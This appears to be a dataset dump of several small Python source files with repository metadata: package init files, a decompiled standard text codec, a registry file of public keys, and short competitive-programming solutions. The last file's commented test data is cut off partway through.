e32be866a758d1113b2dc1ef9169f1a0e37ff9d3 | 169 | py | Python | src/jt/jep/console.py | karpierz/jtypes.jep | 0e2347c3144022313802183c75fc8944ac6ddef5 | [
"Zlib"
] | 1 | 2021-05-18T03:38:21.000Z | 2021-05-18T03:38:21.000Z | src/jt/jep/console.py | karpierz/jtypes.jep | 0e2347c3144022313802183c75fc8944ac6ddef5 | [
"Zlib"
] | null | null | null | src/jt/jep/console.py | karpierz/jtypes.jep | 0e2347c3144022313802183c75fc8944ac6ddef5 | [
"Zlib"
] | null | null | null | # Copyright (c) 2014-2018 Adam Karpierz
# Licensed under the zlib/libpng License
# http://opensource.org/licenses/zlib
from ..jvm.java.org.python.util.console import *
| 28.166667 | 48 | 0.763314 | 25 | 169 | 5.16 | 0.92 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.053333 | 0.112426 | 169 | 5 | 49 | 33.8 | 0.806667 | 0.662722 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
e32ca3f9647367c9ced5489bdf0650a05d56df24 | 86 | py | Python | kattis/greetings2.py | terror/Solutions | 1ad33daec95b565a38ac4730261593bcf249ac86 | [
"CC0-1.0"
] | 2 | 2021-04-05T14:26:37.000Z | 2021-06-10T04:22:01.000Z | kattis/greetings2.py | terror/Solutions | 1ad33daec95b565a38ac4730261593bcf249ac86 | [
"CC0-1.0"
] | null | null | null | kattis/greetings2.py | terror/Solutions | 1ad33daec95b565a38ac4730261593bcf249ac86 | [
"CC0-1.0"
] | null | null | null | from collections import Counter
print("h" + "e" * (2 * Counter(input())["e"]) + "y")
| 21.5 | 52 | 0.581395 | 12 | 86 | 4.166667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013889 | 0.162791 | 86 | 3 | 53 | 28.666667 | 0.680556 | 0 | 0 | 0 | 0 | 0 | 0.046512 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 5 |
e32e4018f914ac390a277f8f010bd29d2115ae21 | 73 | py | Python | src/pandashape/__init__.py | jammerware/pandashape | 37e45e830cf71b28486aa4949f1ba7106ae6ed56 | [
"MIT"
] | null | null | null | src/pandashape/__init__.py | jammerware/pandashape | 37e45e830cf71b28486aa4949f1ba7106ae6ed56 | [
"MIT"
] | null | null | null | src/pandashape/__init__.py | jammerware/pandashape | 37e45e830cf71b28486aa4949f1ba7106ae6ed56 | [
"MIT"
] | null | null | null | from .enums import Columns, Scaling
from .PandaShaper import PandaShaper
| 24.333333 | 36 | 0.835616 | 9 | 73 | 6.777778 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.123288 | 73 | 2 | 37 | 36.5 | 0.953125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
e36e628492869c7111cb8ff42253955549b5415c | 114 | py | Python | src/app/load_balancing/__init__.py | acatalfano/chord-dht | c98f66073b12beb1c3a7cf17197820865936a444 | [
"MIT"
] | null | null | null | src/app/load_balancing/__init__.py | acatalfano/chord-dht | c98f66073b12beb1c3a7cf17197820865936a444 | [
"MIT"
] | null | null | null | src/app/load_balancing/__init__.py | acatalfano/chord-dht | c98f66073b12beb1c3a7cf17197820865936a444 | [
"MIT"
] | null | null | null | from .mod_n import ModN
from .consistent_hashing import ConsistentHashing
from .load_balancer import LoadBalancer
| 28.5 | 49 | 0.868421 | 15 | 114 | 6.4 | 0.733333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 114 | 3 | 50 | 38 | 0.941176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
e375f81c14623d048187c4025517a28b8041d392 | 2,190 | py | Python | encodings/mac_centeuro.py | theclashingfritz/Cog-Invasion-Online-Dump | 2561abbacb3e2e288e06f3f04b935b5ed589c8f8 | [
"Apache-2.0"
] | 1 | 2020-03-12T16:44:10.000Z | 2020-03-12T16:44:10.000Z | encodings/mac_centeuro.py | theclashingfritz/Cog-Invasion-Online-Dump | 2561abbacb3e2e288e06f3f04b935b5ed589c8f8 | [
"Apache-2.0"
] | null | null | null | encodings/mac_centeuro.py | theclashingfritz/Cog-Invasion-Online-Dump | 2561abbacb3e2e288e06f3f04b935b5ed589c8f8 | [
"Apache-2.0"
] | null | null | null | # uncompyle6 version 3.2.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: encodings.mac_centeuro
import codecs
class Codec(codecs.Codec):
def encode(self, input, errors='strict'):
return codecs.charmap_encode(input, errors, encoding_table)
def decode(self, input, errors='strict'):
return codecs.charmap_decode(input, errors, decoding_table)
class IncrementalEncoder(codecs.IncrementalEncoder):
def encode(self, input, final=False):
return codecs.charmap_encode(input, self.errors, encoding_table)[0]
class IncrementalDecoder(codecs.IncrementalDecoder):
def decode(self, input, final=False):
return codecs.charmap_decode(input, self.errors, decoding_table)[0]
class StreamWriter(Codec, codecs.StreamWriter):
pass
class StreamReader(Codec, codecs.StreamReader):
pass
def getregentry():
return codecs.CodecInfo(name='mac-centeuro', encode=Codec().encode, decode=Codec().decode, incrementalencoder=IncrementalEncoder, incrementaldecoder=IncrementalDecoder, streamreader=StreamReader, streamwriter=StreamWriter)
decoding_table = u'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\xc4\u0100\u0101\xc9\u0104\xd6\xdc\xe1\u0105\u010c\xe4\u010d\u0106\u0107\xe9\u0179\u017a\u010e\xed\u010f\u0112\u0113\u0116\xf3\u0117\xf4\xf6\xf5\xfa\u011a\u011b\xfc\u2020\xb0\u0118\xa3\xa7\u2022\xb6\xdf\xae\xa9\u2122\u0119\xa8\u2260\u0123\u012e\u012f\u012a\u2264\u2265\u012b\u0136\u2202\u2211\u0142\u013b\u013c\u013d\u013e\u0139\u013a\u0145\u0146\u0143\xac\u221a\u0144\u0147\u2206\xab\xbb\u2026\xa0\u0148\u0150\xd5\u0151\u014c\u2013\u2014\u201c\u201d\u2018\u2019\xf7\u25ca\u014d\u0154\u0155\u0158\u2039\u203a\u0159\u0156\u0157\u0160\u201a\u201e\u0161\u015a\u015b\xc1\u0164\u0165\xcd\u017d\u017e\u016a\xd3\xd4\u016b\u016e\xda\u016f\u0170\u0171\u0172\u0173\xdd\xfd\u0137\u017b\u0141\u017c\u0122\u02c7'
encoding_table = codecs.charmap_build(decoding_table) | 53.414634 | 941 | 0.77032 | 320 | 2,190 | 5.228125 | 0.69375 | 0.035864 | 0.045427 | 0.021518 | 0.119546 | 0.093246 | 0.093246 | 0 | 0 | 0 | 0 | 0.228713 | 0.077626 | 2,190 | 41 | 942 | 53.414634 | 0.599505 | 0.090411 | 0 | 0.1 | 0 | 0.05 | 0.077465 | 0.061368 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.1 | 0.05 | 0.25 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 5 |
8b4d016658ba64a2b331c3bd6a378ff652a93eee | 49 | py | Python | py_cwt2d/__init__.py | alexhagen/py_cwt2d | 023885310b1962b4f6f565d3ebfac40e0a2eb533 | [
"MIT"
] | null | null | null | py_cwt2d/__init__.py | alexhagen/py_cwt2d | 023885310b1962b4f6f565d3ebfac40e0a2eb533 | [
"MIT"
] | null | null | null | py_cwt2d/__init__.py | alexhagen/py_cwt2d | 023885310b1962b4f6f565d3ebfac40e0a2eb533 | [
"MIT"
] | null | null | null | from .cwt_2d import cwt_2d
__all__ = ['cwt_2d']
| 12.25 | 26 | 0.714286 | 9 | 49 | 3.111111 | 0.555556 | 0.535714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.073171 | 0.163265 | 49 | 3 | 27 | 16.333333 | 0.609756 | 0 | 0 | 0 | 0 | 0 | 0.122449 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
8b5723427c1d95459f5c270803688a2f40ef29c3 | 1,410 | py | Python | Acquire/Registry/_keys_a0-a0.py | samle-appsbroker/acquire | 34f29dc4173cb87f8e2f49864559b35efb48b21b | [
"Apache-2.0"
] | 21 | 2019-01-29T17:18:45.000Z | 2021-11-07T19:29:31.000Z | Acquire/Registry/_keys_a0-a0.py | samle-appsbroker/acquire | 34f29dc4173cb87f8e2f49864559b35efb48b21b | [
"Apache-2.0"
] | 8 | 2019-02-22T16:53:39.000Z | 2022-01-13T01:29:54.000Z | Acquire/Registry/_keys_a0-a0.py | chryswoods/acquire | bf8a0465a531f3b485cb2a14c69dc9aea79451fd | [
"Apache-2.0"
] | 4 | 2019-06-20T07:49:05.000Z | 2020-03-31T18:11:56.000Z |
# This file contains the public keys and certs for the
# registry with UID a0-a0,
# and canonical_url fn.acquire-aaai.com/t/registry
public_key = {'bytes': 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF5NW9SL3RkUWN2ek5sdDZIT0MvTwordXMydmpCZFU2MFBQNWl3U1AwU2NpZ3FwdzVDV05RdlNxdWhST0duenJLazRMUjlDR0ZLdXByWkhhNHNiL2EzCmZCYWdZRWJVV3pxa0FKWmJoQ0toOEE3d0VxZnVXY0tuOEdRUXllaVd5WXd1bTJKVFV0VlhOR29ZaTFLajYwVlkKam42MU5KZkl6OHJ3Z0VEMnN0TWZrM0JLamNuOThwOGswR3ROOUlxN0R3aGVUOFIzV3I5T2lNY21WR1lBL09MZwpUdXh2MVhxUkVkWEVBTHgxdlcyOFhucDBoMFlKVE5Yc3pFSmkyMStVYkVqOEtMSXMxV2psSFg3TkpkQ2ZhSlN5CjJNRm93c2xoNkU0dE1zMzlGTGlHa0V2ZlBVc1NQUUZ6TmUxcTJvWHJTVUp0dGVVZ0MyZDNab3hRc3gvRVZsRDYKd3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=='}
public_certificate = {'bytes': 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxbDhEbGtyNWY4SGtyS3VlbXRvdgo1Z0dzUFQ2MjArZ2tpbVRrK1htZ0oxUjkvNVZpYkV6MDFsV2VlbU02MnlnbXRNWjVQdTE0dHJvVmh3WTFNZEd0CkxGYlllZ25YMk43ejFlK2ZyV3M2OWR3SjRUSVBQMlpUYlZIUXpGV2tCU09oYlFESitqYi92VXpMa3h1dXJ1TzYKMFpad2xaak9QMkhxYjZ5OHZaS0VsbXZOL0VVVjdLTHNvRVdoSmZFck1EVUhhaFJ2dUxMWTl1RUViZ0dLQW93VwpZcEszSDNqeG9XcFRGRW9iQmlEVGU2V1VoLzR5ZUFkL3piNXVXdEh4Nks5d1pRRGk1eThVOFluSXpjUE5iQUljCjU3MGpzbXlURmpiNEdDNHhwa0dRZUpkeHBkZFoyOGx2Q2w5L2JTNzg0NkRQT1lTOWNZUitNZmZhS3JQR0d0dncKS3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=='}
| 128.181818 | 638 | 0.953901 | 32 | 1,410 | 41.9375 | 0.78125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119273 | 0.024823 | 1,410 | 10 | 639 | 141 | 0.856727 | 0.09078 | 0 | 0 | 0 | 0 | 0.955294 | 0.947451 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
8b75eb8906c56034e185478ab781bdec447dd6f2 | 135,427 | py | Python | src/Solution1224.py | ArkiWang/LeetcodePy | 6b4af8da843910823f7f53989bbda4ec8e6dad15 | [
"MIT"
] | null | null | null | src/Solution1224.py | ArkiWang/LeetcodePy | 6b4af8da843910823f7f53989bbda4ec8e6dad15 | [
"MIT"
] | null | null | null | src/Solution1224.py | ArkiWang/LeetcodePy | 6b4af8da843910823f7f53989bbda4ec8e6dad15 | [
"MIT"
] | null | null | null | from copy import deepcopy
import numpy as np
class Solution:
def maxEqualFreq(self, nums: [int]) -> int:
dic = {}#每个元素出现次数
cnt_dic = {} # 出现次数类型
maxlen, maxtime = 0, 0
for i,e in enumerate(nums):
if e not in dic:
dic[e] = 1
if dic[e] not in cnt_dic:
cnt_dic[dic[e]] = 1
else:
cnt_dic[dic[e]] += 1
else:
dic[e] += 1
if dic[e] not in cnt_dic:
cnt_dic[dic[e]] = 1
else:
cnt_dic[dic[e]] += 1
if cnt_dic[dic[e] - 1] > 1:
cnt_dic[dic[e] - 1] -= 1
else:
cnt_dic.__delitem__(dic[e] - 1)
maxtime = max(dic[e], maxtime)
# print(i, dic)
# print(i, cnt_dic)
if len(cnt_dic) <= 2:
if len(cnt_dic) == 1 and (maxtime == 1 or len(dic) == 1):
maxlen = i+1
elif len(cnt_dic) == 2:
cnt_dic = dict(sorted(cnt_dic.items(), key=lambda kv:kv[1]))
cdkeys = list(cnt_dic.keys())
times = cdkeys[-1]
uni_times = cdkeys[0]
if cnt_dic.get(uni_times) == 1 and (uni_times == 1 or times == uni_times - 1):
maxlen = i+1
return maxlen
nums = [1,2]
#nums = [10,2,8,9,3,8,1,5,2,3,7,6]
#nums = [2,2,1,1,5,3,3,5]
#nums = [1,1,1,2,2,2,3,3,3]
#nums = [1, 1]
#nums = [1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13,14,14,15,15,16,16,17,17,18,18,19,19,20,20,21,21,22,22,23,23,24,24,25,25,26,26,27,27,28,28,29,29,30,30,31,31,32,32,33,33,34,34,35,35,36,36,37,37,38,38,39,39,40,40,41,41,42,42,43,43,44,44,45,45,46,46,47,47,48,48,49,49,50,50,51,51,52,52,53,53,54,54,55,55,56,56,57,57,58,58,59,59,60,60,61,61,62,62,63,63,64,64,65,65,66,66,67,67,68,68,69,69,70,70,71,71,72,72,73,73,74,74,75,75,76,76,77,77,78,78,79,79,80,80,81,81,82,82,83,83,84,84,85,85,86,86,87,87,88,88,89,89,90,90,91,91,92,92,93,93,94,94,95,95,96,96,97,97,98,98,99,99,100,100,101,101,102,102,103,103,104,104,105,105,106,106,107,107,108,108,109,109,110,110,111,111,112,112,113,113,114,114,115,115,116,116,117,117,118,118,119,119,120,120,121,121,122,122,123,123,124,124,125,125,126,126,127,127,128,128,129,129,130,130,131,131,132,132,133,133,134,134,135,135,136,136,137,137,138,138,139,139,140,140,141,141,142,142,143,143,144,144,145,145,146,146,147,147,148,148,149,149,150,150,151,151,152,152,153,153,154,154,155,155,156,156,157,157,158,158,159,159,160,160,161,161,162,162,163,163,164,164,165,165,166,166,167,167,168,168,169,169,170,170,171,171,172,172,173,173,174,174,175,175,176,176,177,177,178,178,179,179,180,180,181,181,182,182,183,183,184,184,185,185,186,186,187,187,188,188,189,189,190,190,191,191,192,192,193,193,194,194,195,195,196,196,197,197,198,198,199,199,200,200,201,201,202,202,203,203,204,204,205,205,206,206,207,207,208,208,209,209,210,210,211,211,212,212,213,213,214,214,215,215,216,216,217,217,218,218,219,219,220,220,221,221,222,222,223,223,224,224,225,225,226,226,227,227,228,228,229,229,230,230,231,231,232,232,233,233,234,234,235,235,236,236,237,237,238,238,239,239,240,240,241,241,242,242,243,243,244,244,245,245,246,246,247,247,248,248,249,249,250,250,251,251,252,252,253,253,254,254,255,255,256,256,257,257,258,258,259,259,260,260,261,261,262,262,263,263,264,264,265,265,266,266,267,267,268,268,269,269,270,270,271,271,272,272,273,273,274,274,275,275,276,276,277,277,278,278,279,279,280,280,281,281,282,282,283,283,284,284,285,285,286,286,287,287,288,288,289,289,290,290,291,291,292,292,293,293,294,294,295,295,296,296,297,297,298,298,299,299,300,300,301,301,302,302,303,303,304,304,305,305,306,306,307,307,308,308,309,309,310,310,311,311,312,312,313,313,314,314,315,315,316,316,317,317,318,318,319,319,320,320,321,321,322,322,323,323,324,324,325,325,326,326,327,327,328,328,329,329,330,330,331,331,332,332,333,333,334,334,335,335,336,336,337,337,338,338,339,339,340,340,341,341,342,342,343,343,344,344,345,345,346,346,347,347,348,348,349,349,350,350,351,351,352,352,353,353,354,354,355,355,356,356,357,357,358,358,359,359,360,360,361,361,362,362,363,363,364,364,365,365,366,366,367,367,368,368,369,369,370,370,371,371,372,372,373,373,374,374,375,375,376,376,377,377,378,378,379,379,380,380,381,381,382,382,383,383,384,384,385,385,386,386,387,387,388,388,389,389,390,390,391,391,392,392,393,393,394,394,395,395,396,396,397,397,398,398,399,399,400,400,401,401,402,402,403,403,404,404,405,405,406,406,407,407,408,408,409,409,410,410,411,411,412,412,413,413,414,414,415,415,416,416,417,417,418,418,419,419,420,420,421,421,422,422,423,423,424,424,425,425,426,426,427,427,428,428,429,429,430,430,431,431,432,432,433,433,434,434,435,435,436,436,437,437,438,438,439,439,440,440,441,441,442,442,443,443,444,444,445,445,446,446,447,447,448,448,449,449,450,450,451,451,452,452,453,453,454,454,455,455,456,456,457,457,458,458,459,459,460,460,461,461,462,462,463,463,464,464,465,465,466,466,467,467,468,468,469,469,470,470,471,471,472,472,473,473,474,474,475,475,476,476,477,477,478,478,479,479,480,480,481,481,482,482,483,483,484,484,485,485,486,486,487,487,488,488,489,489,490,490,491,491,492,492,493,493,494,494,495,495,496,496,497,497,498,498,499,499,500,500,501,501,502,502,503,503,504,504,505,505,506,506,507,507,508,508,509,509,510,510,511,511,512,512,513,513,514,514,515,515,516,516,517,517,518,518,519,519,520,520,521,521,522,522,523,523,524,524,525,525,526,526,527,527,528,528,529,529,530,530,531,531,532,532,533,533,534,534,535,535,536,536,537,537,538,538,539,539,540,540,541,541,542,542,543,543,544,544,545,545,546,546,547,547,548,548,549,549,550,550,551,551,552,552,553,553,554,554,555,555,556,556,557,557,558,558,559,559,560,560,561,561,562,562,563,563,564,564,565,565,566,566,567,567,568,568,569,569,570,570,571,571,572,572,573,573,574,574,575,575,576,576,577,577,578,578,579,579,580,580,581,581,582,582,583,583,584,584,585,585,586,586,587,587,588,588,589,589,590,590,591,591,592,592,593,593,594,594,595,595,596,596,597,597,598,598,599,599,600,600,601,601,602,602,603,603,604,604,605,605,606,606,607,607,608,608,609,609,610,610,611,611,612,612,613,613,614,614,615,615,616,616,617,617,618,618,619,619,620,620,621,621,622,622,623,623,624,624,625,625,626,626,627,627,628,628,629,629,630,630,631,631,632,632,633,633,634,634,635,635,636,636,637,637,638,638,639,639,640,640,641,641,642,642,643,643,644,644,645,645,646,646,647,647,648,648,649,649,650,650,651,651,652,652,653,653,654,654,655,655,656,656,657,657,658,658,659,659,660,660,661,661,662,662,663,663,664,664,665,665,666,666,667,667,668,668,669,669,670,670,671,671,672,672,673,673,674,674,675,675,676,676,677,677,678,678,679,679,680,680,681,681,682,682,683,683,684,684,685,685,686,686,687,687,688,688,689,689,690,690,691,691,692,692,693,693,694,694,695,695,696,696,697,697,698,698,699,699,700,700,701,701,702,702,703,703,704,704,705,705,706,706,707,707,708,708,709,709,710,710,711,711,712,712,713,713,714,714,715,715,716,716,717,717,718,718,719,719,720,720,721,721,722,722,723,723,724,724,725,725,726,726,727,727,728,728,729,729,730,730,731,731,732,732,733,733,734,734,735,735,736,736,737,737,738,738,739,739,740,740,741,741,742,742,743,743,744,744,745,745,746,746,747,747,748,748,749,749,750,750,751,751,752,752,753,753,754,754,755,755,756,756,757,757,758,758,759,759,760,760,761,761,762,762,763,763,764,764,765,765,766,766,767,767,768,768,769,769,770,770,771,771,772,772,773,773,774,774,775,775,776,776,777,777,778,778,779,779,780,780,781,781,782,782,783,783,784,784,785,785,786,786,787,787,788,788,789,789,790,790,791,791,792,792,793,793,794,794,795,795,796,796,797,797,798,798,799,799,800,800,801,801,802,802,803,803,804,804,805,805,806,806,807,807,808,808,809,809,810,810,811,811,812,812,813,813,814,814,815,815,816,816,817,817,818,818,819,819,820,820,821,821,822,822,823,823,824,824,825,825,826,826,827,827,828,828,829,829,830,830,831,831,832,832,833,833,834,834,835,835,836,836,837,837,838,838,839,839,840,840,841,841,842,842,843,843,844,844,845,845,846,846,847,847,848,848,849,849,850,850,851,851,852,852,853,853,854,854,855,855,856,856,857,857,858,858,859,859,860,860,861,861,862,862,863,863,864,864,865,865,866,866,867,867,868,868,869,869,870,870,871,871,872,872,873,873,874,874,875,875,876,876,877,877,878,878,879,879,880,880,881,881,882,882,883,883,884,884,885,885,886,886,887,887,888,888,889,889,890,890,891,891,892,892,893,893,894,894,895,895,896,896,897,897,898,898,899,900,900,901,901,902,902,903,903,904,904,905,905,906,906,907,907,908,908,909,909,910,910,911,911,912,912,913,913,914,914,915,915,916,916,917,917,918,918,919,919,920,920,921,921,922,922,923,923,924,924,925,925,926,926,927,927,928,928,929,929,930,930,931,931,932,932,933,933,934,934,935,935,936,936,937,937,938,938,939,939,940,940,941,941,942,942,943,943,944,944,945,945,946,946,947,947,948,948,949,949,950,950,951,951,952,952,953,953,954,954,955,955,956,956,957,957,958,958,959,959,960,960,961,961,962,962,963,963,964,964,965,965,966,966,967,967,968,968,969,969,970,970,971,971,972,972,973,973,974,974,975,975,976,976,977,977,978,978,979,979,980,980,981,981,982,982,983,983,984,984,985,985,986,986,987,987,988,988,989,989,990,990,991,991,992,992,993,993,994,994,995,995,996,996,997,997,998,998,999,999,1000,1000,1001,1001,1002,1002,1003,1003,1004,1004,1005,1005,1006,1006,1007,1007,1008,1008,1009,1009,1010,1010,1011,1011,1012,1012,1013,1013,1014,1014,1015,1015,1016,1016,1017,1017,1018,1018,1019,1019,1020,1020,1021,1021,1022,1022,1023,1023,1024,1024,1025,1025,1026,1026,1027,1027,1028,1028,1029,1029,1030,1030,1031,1031,1032,1032,1033,1033,1034,1034,1035,1035,1036,1036,1037,1037,1038,1038,1039,1039,1040,1040,1041,1041,1042,1042,1043,1043,1044,1044,1045,1045,1046,1046,1047,1047,1048,1048,1049,1049,1050,1050,1051,1051,1052,1052,1053,1053,1054,1054,1055,1055,1056,1056,1057,1057,1058,1058,1059,1059,1060,1060,1061,1061,1062,1062,1063,1063,1064,1064,1065,1065,1066,1066,1067,1067,1068,1068,1069,1069,1070,1070,1071,1071,1072,1072,1073,1073,1074,1074,1075,1075,1076,1076,1077,1077,1078,1078,1079,1079,1080,1080,1081,1081,1082,1082,1083,1083,1084,1084,1085,1085,1086,1086,1087,1087,1088,1088,1089,1089,1090,1090,1091,1091,1092,1092,1093,1093,1094,1094,1095,1095,1096,1096,1097,1097,1098,1098,1099,1099,1100,1100,1101,1101,1102,1102,1103,1103,1104,1104,1105,1105,1106,1106,1107,1107,1108,1108,1109,1109,1110,1110,1111,1111,1112,1112,1113,1113,1114,1114,1115,1115,1116,1116,1117,1117,1118,1118,1119,1119,1120,1120,1121,1121,1122,1122,1123,1123,1124,1124,1125,1125,1126,1126,1127,1127,1128,1128,1129,1129,1130,1130,1131,1131,1132,1132,1133,1133,1134,1134,1135,1135,1136,1136,1137,1137,1138,1138,1139,1139,1140,1140,1141,1141,1142,1142,1143,1143,1144,1144,1145,1145,1146,1146,1147,1147,1148,1148,1149,1149,1150,1150,1151,1151,1152,1152,1153,1153,1154,1154,1155,1155,1156,1156,1157,1157,1158,1158,1159,1159,1160,1160,1161,1161,1162,1162,1163,1163,1164,1164,1165,1165,1166,1166,1167,1167,1168,1168,1169,1169,1170,1170,1171,1171,1172,1172,1173,1173,1174,1174,1175,1175,1176,1176,1177,1177,1178,1178,1179,1179,1180,1180,1181,1181,1182,1182,1183,1183,1184,1184,1185,1185,1186,1186,1187,1187,1188,1188,1189,1189,1190,1190,1191,1191,1192,1192,1193,1193,1194,1194,1195,1195,1196,1196,1197,1197,1198,1198,1199,1199,1200,1200,1201,1201,1202,1202,1203,1203,1204,1204,1205,1205,1206,1206,1207,1207,1208,1208,1209,1209,1210,1210,1211,1211,1212,1212,1213,1213,1214,1214,1215,1215,1216,1216,1217,1217,1218,1218,1219,1219,1220,1220,1221,1221,1222,1222,1223,1223,1224,1224,1225,1225,1226,1226,1227,1227,1228,1228,1229,1229,1230,1230,1231,1231,1232,1232,1233,1233,1234,1234,1235,1235,1236,1236,1237,1237,1238,1238,1239,1239,1240,1240,1241,1241,1242,1242,1243,1243,1244,1244,1245,1245,1246,1246,1247,1247,1248,1248,1249,1249,1250,1250,1251,1251,1252,1252,1253,1253,1254,1254,1255,1255,1256,1256,1257,1257,1258,1258,1259,1259,1260,1260,1261,1261,1262,1262,1263,1263,1264,1264,1265,1265,1266,1266,1267,1267,1268,1268,1269,1269,1270,1270,1271,1271,1272,1272,1273,1273,1274,1274,1275,1275,1276,1276,1277,1277,1278,1278,1279,1279,1280,1280,1281,1281,1282,1282,1283,1283,1284,1284,1285,1285,1286,1286,1287,1287,1288,1288,1289,1289,1290,1290,1291,1291,1292,1292,1293,1293,1294,1294,1295,1295,1296,1296,1297,1297,1298,1298,1299,1299,1300,1300,1301,1301,1302,1302,1303,1303,1304,1304,1305,1305,1306,1306,1307,1307,1308,1308,1309,1309,1310,1310,1311,1311,1312,1312,1313,1313,1314,1314,1315,1315,1316,1316,1317,1317,1318,1318,1319,1319,1320,1320,1321,1321,1322,1322,1323,1323,1324,1324,1325,1325,1326,1326,1327,1327,1328,1328,1329,1329,1330,1330,1331,1331,1332,1332,1333,1333,1334,1334,1335,1335,1336,1336,1337,1337,1338,1338,1339,1339,1340,1340,1341,1341,1342,1342,1343,1343,1344,1344,1345,1345,1346,1346,1347,1347,1348,1348,1349,1349,1350,1350,1351,1351,1352,1352,1353,1353,1354,1354,1355,1355,1356,1356,1357,1357,1358,1358,1359,1359,1360,1360,1361,1361,1362,1362,1363,1363,1364,1364,1365,1365,1366,1366,1367,1367,1368,1368,1369,1369,1370,1370,1371,1371,1372,1372,1373,1373,1374,1374,1375,1375,1376,1376,1377,1377,1378,1378,1379,1379,1380,1380,1381,1381,1382,1382,1383,1383,1384,1384,1385,1385,1386,1386,1387,1387,1388,1388,1389,1389,1390,1390,1391,1391,1392,1392,1393,1393,1394,1394,1395,1395,1396,1396,1397,1397,1398,1398,1399,1399,1400,1400,1401,1401,1402,1402,1403,1403,1404,1404,1405,1405,1406,1406,1407,1407,1408,1408,1409,1409,1410,1410,1411,1411,1412,1412,1413,1413,1414,1414,1415,1415,1416,1416,1417,1417,1418,1418,1419,1419,1420,1420,1421,1421,1422,1422,1423,1423,1424,1424,1425,1425,1426,1426,1427,1427,1428,1428,1429,1429,1430,1430,1431,1431,1432,1432,1433,1433,1434,1434,1435,1435,1436,1436,1437,1437,1438,1438,1439,1439,1440,1440,1441,1441,1442,1442,1443,1443,1444,1444,1445,1445,1446,1446,1447,1447,1448,1448,1449,1449,1450,1450,